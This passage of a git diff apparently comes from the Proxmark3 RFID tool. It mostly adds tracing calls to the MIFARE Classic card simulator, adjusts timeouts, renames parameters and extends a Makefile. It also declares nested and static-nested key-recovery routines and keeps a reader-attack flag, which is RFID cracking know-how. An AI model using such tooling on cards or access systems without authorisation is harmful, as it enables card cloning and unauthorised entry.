MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key); +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key); + void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareChkKeys(uint8_t *datain); void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareChkKeys_file(uint8_t *fn); void MifareEMemClr(void); void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); -int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype); void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); void MifareCIdent(); // is "magic chinese" card? +void MifareHasStaticNonce(); // Has the tag a static nonce? void MifareSetMod(uint8_t *datain); void MifareUSetPwd(uint8_t arg0, uint8_t *datain); diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index b055be6c7..0dcbe404a 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -435,7 +435,6 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ return true; } - /** *MIFARE 1K simulate. * @@ -538,7 +537,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // find reader field if (cardSTATE == MFEMUL_NOFIELD) { - vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF)) >> 10; + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + if (vHf > MF_MINFIELDV) { cardSTATE_TO_IDLE(); LED_A_ON(); @@ -547,16 +552,19 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 continue; } + FpgaEnableTracing(); //Now, get data int res = EmGetCmd(receivedCmd, &receivedCmd_len, receivedCmd_par); if (res == 2) { //Field is off! + FpgaDisableTracing(); LEDsoff(); cardSTATE = MFEMUL_NOFIELD; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("cardSTATE = MFEMUL_NOFIELD"); continue; } else if (res == 1) { // button pressed + FpgaDisableTracing(); button_pushed = true; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Button pressed"); @@ -570,6 +578,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);"); EmSendPrecompiledCmd(&responses[ATQA]); + FpgaDisableTracing(); + // init crypto block crypto1_deinit(pcs); cardAUTHKEY = AUTHKEYNONE; @@ -637,6 +647,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // Incoming SELECT ALL for any cascade level if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) { EmSendPrecompiledCmd(&responses[uid_index]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ALL - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); break; } @@ -648,6 +660,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 (uid_len == 7 && uid_index == UIDBCC2) || (uid_len == 10 && uid_index == UIDBCC3); EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT CLx %02x%02x%02x%02x received", receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5]); if (cl_finished) { LED_B_ON(); @@ -670,6 +684,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) { // response missing part of UID via relative array index EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); } else { // IDLE, not our UID or split-byte frame anti-collision (not supports) @@ -710,6 +726,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (!CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { // all commands must have a valid CRC EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd_dec, receivedCmd_len); break; } @@ -725,6 +743,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // if authenticating to a block that shouldn't exist - as long as we are not doing the reader attack if (((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } @@ -754,6 +774,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 crypto1_word(pcs, cuid ^ nonce, 0); // rAUTH_NT contains prepared nonce for authenticate EmSendCmd(rAUTH_NT, sizeof(rAUTH_NT)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_NT, cuid); } else { // nested authentication @@ -765,6 +787,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // we need calculate parity bits for non-encrypted sequence mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B'); } @@ -777,12 +801,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // BUT... ACK --> NACK if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_ACK) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_NACK_NA) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_ACK) : CARD_ACK); + FpgaDisableTracing(); break; } @@ -796,6 +822,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // all other commands must be encrypted (authenticated) if (!encrypted_data) { EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Commands must be encrypted (authenticated)"); break; } @@ -805,6 +833,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 /* if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } @@ -812,6 +841,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (MifareBlockToSector(receivedCmd_dec[1]) != cardAUTHSC) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on block (0x%02x) not authenticated for (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], cardAUTHSC); break; } @@ -867,6 +898,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 AddCrc14A(response, 16); mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par); EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK - EmSendCmdPar] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo, response[0], response[1], response[2], response[3], response[4], response[5], response[6], @@ -888,6 +921,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 blockNo = receivedCmd_dec[1]; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); + cardWRBL = blockNo; cardSTATE = MFEMUL_WRITEBL2; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2"); @@ -901,9 +936,11 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (emlCheckValBl(blockNo)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate on block, but emlCheckValBl failed, nacking"); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); break; } EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); cardWRBL = blockNo; // INC @@ -936,6 +973,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); else EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + + FpgaDisableTracing(); break; } @@ -958,12 +997,15 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 memcpy(response, rats, rats_len); mf_crypto1_encrypt(pcs, response, rats_len, response_par); EmSendCmdPar(response, rats_len, response_par); - } else + } else { EmSendCmd(rats, rats_len); + } + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); } @@ -980,10 +1022,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 EmSendCmdPar(response, receivedCmd_len, response_par); } else EmSendCmd(receivedCmd_dec, receivedCmd_len); + + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); } @@ -994,6 +1040,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Received command not allowed, nacking"); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } @@ -1101,6 +1148,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 num_to_bytes(ans, 4, response); mf_crypto1_encrypt(pcs, response, 4, response_par); EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_AUTH1] AUTH COMPLETED for sector %d with key %c. time=%d", @@ -1138,6 +1186,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 } emlSetMem(receivedCmd_dec, cardWRBL, 1); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK? + FpgaDisableTracing(); + cardSTATE = MFEMUL_WORK; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WRITEBL2] cardSTATE = MFEMUL_WORK"); break; @@ -1155,6 +1205,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1174,6 +1226,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1190,6 +1244,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1245,7 +1301,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK //Send the collected ar_nr in the response - reply_old(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); + reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 3ccf25737..b0bf532b0 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -92,7 +92,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, AddCrc14A(dcmd, 2); memcpy(ecmd, dcmd, sizeof(dcmd)); - if (crypted) { + if (pcs && crypted) { par[0] = 0; for (pos = 0; pos < 4; pos++) { ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; @@ -190,8 +190,18 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN // Transmit reader nonce and reader answer ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + // save standard timeout + uint32_t save_timeout = iso14a_get_timeout(); + + // set timeout for authentication response + if (save_timeout > 103) + iso14a_set_timeout(103); + // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); + + iso14a_set_timeout(save_timeout); + if (!len) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout."); return 2; diff --git a/armsrc/nprintf.c b/armsrc/nprintf.c index b61ad794d..645454b4e 100644 --- a/armsrc/nprintf.c +++ b/armsrc/nprintf.c @@ -281,7 +281,7 @@ static size_t _ntoa_long(out_fct_type out, char *buffer, size_t idx, size_t maxl if (!(flags & FLAGS_PRECISION) || value) { do { const char digit = (char)(value % base); - buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; value /= base; } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } @@ -305,7 +305,7 @@ static size_t _ntoa_long_long(out_fct_type out, char *buffer, size_t idx, size_t if (!(flags & FLAGS_PRECISION) || value) { do { const char digit = (char)(value % base); - buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10; + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; value /= base; } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); } @@ -782,7 +782,7 @@ static int _vsnprintf(out_fct_type out, char *buffer, const size_t maxlen, const case 's' : { const char *p = va_arg(va, char *); - unsigned int l = _strnlen_s(p, precision ? precision : (size_t) -1); + unsigned int l = _strnlen_s(p, precision ? precision : (size_t) - 1); // pre padding if (flags & FLAGS_PRECISION) { l = (l < precision ? l : precision); @@ -849,7 +849,7 @@ int printf_(const char *format, ...) { va_list va; va_start(va, format); char buffer[1]; - const int ret = _vsnprintf(_out_char, buffer, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); va_end(va); return ret; } @@ -858,7 +858,7 @@ int printf_(const char *format, ...) { int sprintf_(char *buffer, const char *format, ...) { va_list va; va_start(va, format); - const int ret = _vsnprintf(_out_buffer, buffer, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_buffer, buffer, (size_t) - 1, format, va); va_end(va); return ret; } @@ -875,7 +875,7 @@ int snprintf_(char *buffer, size_t count, const char *format, ...) { int vprintf_(const char *format, va_list va) { char buffer[1]; - return _vsnprintf(_out_char, buffer, (size_t) -1, format, va); + return _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); } @@ -888,7 +888,7 @@ int fctprintf(void (*out)(char character, void *arg), void *arg, const char *for va_list va; va_start(va, format); const out_fct_wrap_type out_fct_wrap = { out, arg }; - const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) - 1, format, va); va_end(va); return ret; } diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index 87321148d..81172476f 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -401,21 +401,21 @@ int rdv40_spiffs_lazy_mount_rollback(int changed) { // TODO : forbid writing to a filename which already exists as lnk ! // TODO : forbid writing to a filename.lnk which already exists without lnk ! int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - write_to_spiffs((char *)filename, (uint8_t *)src, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + write_to_spiffs(filename, src, size); ) } int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - append_to_spiffs((char *)filename, (uint8_t *)src, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + append_to_spiffs(filename, src, size); ) } // todo integrate reading symlinks transparently int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - read_from_spiffs((char *)filename, (uint8_t *)dst, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + read_from_spiffs(filename, dst, size); ) } diff --git a/armsrc/spiffs.h b/armsrc/spiffs.h index d75335e40..f10c86db0 100644 --- a/armsrc/spiffs.h +++ b/armsrc/spiffs.h @@ -577,7 +577,7 @@ s32_t SPIFFS_close(spiffs *fs, spiffs_file fh); * @param old path of file to rename * @param newPath new path of file */ -s32_t SPIFFS_rename(spiffs *fs, const char *old, const char *newPath); +s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path); #if SPIFFS_OBJ_META_LEN /** @@ -801,7 +801,7 @@ s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh); * @param fh the mapped file handle of the file to remap * @param offset new absolute file offset where to start the index map */ -s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offs); +s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset); /** * Utility function to get number of spiffs_page_ix entries a map buffer must diff --git a/armsrc/spiffs_nucleus.c b/armsrc/spiffs_nucleus.c index 459222d5b..74c5ade09 100644 --- a/armsrc/spiffs_nucleus.c +++ b/armsrc/spiffs_nucleus.c @@ -2244,7 +2244,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) { #if SPIFFS_TEMPORAL_FD_CACHE u32_t i; u16_t min_score = 0xffff; - u32_t cand_ix = (u32_t) -1; + u32_t cand_ix = (u32_t) - 1; u32_t name_hash = name ? spiffs_hash(fs, (const u8_t *)name) : 0; spiffs_fd *fds = (spiffs_fd *)fs->fd_space; @@ -2275,7 +2275,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) { } } - if (cand_ix != (u32_t) -1) { + if (cand_ix != (u32_t) - 1) { spiffs_fd *cur_fd = &fds[cand_ix]; if (name) { if (cur_fd->name_hash == name_hash && cur_fd->score > 0) { diff --git a/armsrc/spiffs_nucleus.h b/armsrc/spiffs_nucleus.h index c437faf30..7fbf98acf 100644 --- a/armsrc/spiffs_nucleus.h +++ b/armsrc/spiffs_nucleus.h @@ -699,7 +699,7 @@ void spiffs_cb_object_event( spiffs *fs, spiffs_page_object_ix *objix, int ev, - spiffs_obj_id obj_id, + spiffs_obj_id obj_id_raw, spiffs_span_ix spix, spiffs_page_ix new_pix, u32_t new_size); @@ -707,14 +707,14 @@ void spiffs_cb_object_event( s32_t spiffs_object_open_by_id( spiffs *fs, spiffs_obj_id obj_id, - spiffs_fd *f, + spiffs_fd *fd, spiffs_flags flags, spiffs_mode mode); s32_t spiffs_object_open_by_page( spiffs *fs, spiffs_page_ix pix, - spiffs_fd *f, + spiffs_fd *fd, spiffs_flags flags, spiffs_mode mode); @@ -738,8 +738,8 @@ s32_t spiffs_object_read( s32_t spiffs_object_truncate( spiffs_fd *fd, - u32_t new_len, - u8_t remove_object); + u32_t new_size, + u8_t remove_full); s32_t spiffs_object_find_object_index_header_by_name( spiffs *fs, @@ -758,7 +758,7 @@ s32_t spiffs_gc_erase_page_stats( s32_t spiffs_gc_find_candidate( spiffs *fs, - spiffs_block_ix **block_candidate, + spiffs_block_ix **block_candidates, int *candidate_count, char fs_crammed); diff --git a/armsrc/string.c b/armsrc/string.c index 4caa027a2..8dbe26808 100644 --- a/armsrc/string.c +++ b/armsrc/string.c @@ -50,8 +50,7 @@ void memxor(uint8_t *dest, uint8_t *src, size_t len) { int strlen(const char *str) { const char *p; - for (p = str; *p != '\0'; ++p) { - } + for (p = str; *p != '\0'; ++p) {}; return p - str; } diff --git a/armsrc/string.h b/armsrc/string.h index 781641fb9..0ebb4ab54 100644 --- a/armsrc/string.h +++ b/armsrc/string.h @@ -24,7 +24,7 @@ char *strcat(char *dest, const char *src); void strreverse(char s[]); void itoa(int n, char s[]); char *strcpy(char *dst, const char *src); -char *strncpy(char *destination, const char *source, size_t num); +char *strncpy(char *dst, const char *src, size_t n); int strcmp(const char *s1, const char *s2); char *strtok(char *s, const char *delim); char *strchr(const char *s, int c); diff --git a/armsrc/thinfilm.c b/armsrc/thinfilm.c index 46fa5a920..e4b2e9b23 100644 --- a/armsrc/thinfilm.c +++ b/armsrc/thinfilm.c @@ -52,10 +52,11 @@ void ReadThinFilm(void) { uint16_t FpgaSendQueueDelay; uint16_t ReadReaderField(void) { - uint16_t hf_av = AvgAdc(ADC_CHAN_HF); - if (((MAX_ADC_HF_VOLTAGE * hf_av) >> 10) > MAX_ADC_HF_VOLTAGE - 300) - hf_av = AvgAdc(ADC_CHAN_HF_RDV40); - return hf_av; +#if defined RDV4 + return AvgAdc(ADC_CHAN_HF_RDV40); +#else + return AvgAdc(ADC_CHAN_HF); +#endif } static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) { @@ -119,13 +120,16 @@ void SimulateThinFilm(uint8_t *data, size_t len) { CodeThinfilmAsTag(data, len); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // Set up the synchronous serial port FpgaSetupSsc(); + // connect Demodulated Signal to ADC: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); SpinDelay(100); + uint16_t hf_baseline = ReadReaderField(); // Start the timer diff --git a/armsrc/usart.c b/armsrc/usart.c index f3abb40a1..2062c9441 100644 --- a/armsrc/usart.c +++ b/armsrc/usart.c @@ -49,7 +49,7 @@ static size_t us_rxfifo_high = 0; static void usart_fill_rxfifo(void) { - uint16_t rxfifo_free = 0; + uint16_t rxfifo_free ; if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used if (us_rxfifo_low > us_rxfifo_high) rxfifo_free = us_rxfifo_low - us_rxfifo_high; diff --git a/client/Makefile b/client/Makefile index a6d987560..6e2ebd001 100644 --- a/client/Makefile +++ b/client/Makefile @@ -134,6 +134,7 @@ CORESRCS = uart_posix.c \ CMDSRCS = crapto1/crapto1.c \ crapto1/crypto1.c \ + mifare/mifaredefault.c \ mifare/mfkey.c \ tea.c \ fido/additional_ca.c \ @@ -158,6 +159,7 @@ CMDSRCS = crapto1/crapto1.c \ legic_prng.c \ iso15693tools.c \ prng.c \ + generator.c \ graph.c \ cmddata.c \ lfdemod.c \ @@ -203,6 +205,7 @@ CMDSRCS = crapto1/crapto1.c \ cmdhffido.c \ cmdhffelica.c \ cmdhfthinfilm.c \ + cmdhflto.c \ cmdhw.c \ cmdlf.c \ cmdlfawid.c \ diff --git a/client/aidsearch.c b/client/aidsearch.c index ecaa6e6c8..676db4cc7 100644 --- a/client/aidsearch.c +++ b/client/aidsearch.c @@ -8,14 +8,11 @@ // Proxmark3 RDV40 AID list library //----------------------------------------------------------------------------- #include "aidsearch.h" - #include #include - #include "fileutils.h" #include "pm3_cmd.h" - int openAIDFile(json_t **root, bool verbose) { json_error_t error; @@ -39,7 +36,7 @@ int openAIDFile(json_t **root, bool verbose) { goto out; } - if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %d records.", path, json_array_size(*root)); + if (verbose) PrintAndLogEx(SUCCESS, "Loaded file (%s) OK. %zu records.", path, json_array_size(*root)); out: free(path); return retval; diff --git a/client/aidsearch.h b/client/aidsearch.h index 9997d3868..00d2b134a 100644 --- a/client/aidsearch.h +++ b/client/aidsearch.h @@ -18,7 +18,7 @@ #include -int PrintAIDDescription(json_t *root, char *aid, bool verbose); +int PrintAIDDescription(json_t *xroot, char *aid, bool verbose); int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose); json_t *AIDSearchInit(bool verbose); json_t *AIDSearchGetElm(json_t *root, int elmindx); diff --git a/client/cliparser/argtable3.c b/client/cliparser/argtable3.c index b6284fd07..3acbce48e 100644 --- a/client/cliparser/argtable3.c +++ b/client/cliparser/argtable3.c @@ -3484,8 +3484,12 @@ TRexBool trex_getsubexp(TRex *exp, int n, TRexMatch *subexp) { static void arg_str_resetfn(struct arg_str *parent) { + int i; ARG_TRACE(("%s:resetfn(%p)\n", __FILE__, parent)); parent->count = 0; + for (i = 0; i < parent->count; i++) { + parent->sval[i] = ""; + } } @@ -3671,8 +3675,7 @@ void arg_register_error(struct arg_end *end, * Return index of first table entry with a matching short option * or -1 if no match was found. */ -static -int find_shortoption(struct arg_hdr * *table, char shortopt) { +static int find_shortoption(struct arg_hdr **table, char shortopt) { int tabindex; for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) { if (table[tabindex]->shortopts && @@ -3682,7 +3685,6 @@ int find_shortoption(struct arg_hdr * *table, char shortopt) { return -1; } - struct longoptions { int getoptval; int noptions; @@ -3706,8 +3708,7 @@ void dump_longoptions(struct longoptions *longoptions) { } #endif -static -struct longoptions *alloc_longoptions(struct arg_hdr * *table) { +static struct longoptions *alloc_longoptions(struct arg_hdr **table) { struct longoptions *result; size_t nbytes; int noptions = 1; @@ -3789,8 +3790,7 @@ struct longoptions *alloc_longoptions(struct arg_hdr * *table) { return result; } -static -char *alloc_shortoptions(struct arg_hdr * *table) { +static char *alloc_shortoptions(struct arg_hdr **table) { char *result; size_t len = 